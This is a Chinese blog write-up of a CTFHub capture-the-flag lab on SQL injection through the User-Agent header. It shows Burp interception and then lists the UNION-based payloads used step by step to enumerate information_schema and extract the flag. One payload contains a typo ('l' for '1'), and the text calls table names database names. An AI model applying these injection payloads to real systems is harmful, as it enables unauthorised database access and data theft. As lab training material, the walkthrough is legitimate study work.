CTFHUB-SQL注入-UA注入

 

目录

判断是否存在注入

判断字段数量

判断回显位置

查询数据库名

查询数据库下的表名

查询表中的字段名

查询字段名下的数据


由于本关是UA注入,就不浪费时间判断是什么注入了,在该页面使用 burp工具 抓包,修改User-Agent,加上SQL语句,然后放包,就可以在题目页面显示结果

判断是否存在注入

1 and 1=1
1 and 1=2

发现页面报错

判断字段数量

1 order by 1

1 order by 2

1 order by 3

发现页面报错,可以确定字段数量是2

判断回显位置

-1 union select 1,2

发现两个字段都可以回显

查询数据库名

-1 union select l,group_concat(schema_name) from information_schema.schemata

查询数据库下的表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

发现两个数据库名olqgtrtcwu和news

查询表中的字段名

我们先查询olqgtrtcwu表

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'olqgtrtcwu'

发现了字段名tdvmulycem

查询字段名下的数据

-1 union select 1,group_concat(tdvmulycem) from olqgtrtcwu

发现了本题的flag

  • 13
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值